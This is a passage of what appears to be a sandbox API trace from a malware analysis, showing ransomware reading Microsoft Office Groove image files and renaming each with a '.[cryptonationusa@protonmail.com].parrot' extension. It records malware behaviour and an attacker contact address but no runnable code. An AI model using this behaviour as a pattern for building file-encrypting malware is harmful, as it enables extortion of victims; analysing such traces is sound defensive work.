office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.758] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.758] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.759] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.759] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1963, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1963, lpOverlapped=0x0) returned 1 [0186.760] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.765] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.765] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.767] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.767] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1638, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1638, lpOverlapped=0x0) returned 1 [0186.768] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.773] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.773] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.836] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.836] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d38, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d38, lpOverlapped=0x0) returned 1 [0186.838] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.845] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.845] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.847] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.847] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd97, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd97, lpOverlapped=0x0) returned 1 [0186.847] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.847] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.853] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.853] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.854] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.854] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5a4, lpOverlapped=0x0) returned 1 [0186.855] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.861] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.861] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.863] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.863] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd14, lpOverlapped=0x0) returned 1 [0186.863] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.869] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.869] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.888] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.888] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x838, lpOverlapped=0x0) returned 1 [0186.889] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.895] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.895] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.897] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.897] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf38, lpOverlapped=0x0) returned 1 [0186.897] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.904] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.904] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.905] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.906] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x540, lpOverlapped=0x0) returned 1 [0186.906] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.911] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.911] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.913] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.913] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2605, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2605, lpOverlapped=0x0) returned 1 [0186.914] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.919] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.919] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.921] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.921] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x838, lpOverlapped=0x0) returned 1 [0186.921] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.926] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.926] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.928] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.928] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x450, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x450, lpOverlapped=0x0) returned 1 [0186.928] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.933] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.933] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.935] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.935] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5431, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5431, lpOverlapped=0x0) returned 1 [0186.936] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.941] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.941] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.943] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.943] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1538, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1538, lpOverlapped=0x0) returned 1 [0186.944] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.950] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.950] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.951] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.952] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1995, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1995, lpOverlapped=0x0) returned 1 [0186.952] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.959] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.959] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.961] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.961] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x838, lpOverlapped=0x0) returned 1 [0186.961] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.968] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.968] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.970] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.970] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2308, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2308, lpOverlapped=0x0) returned 1 [0186.971] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.980] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.980] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.982] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, 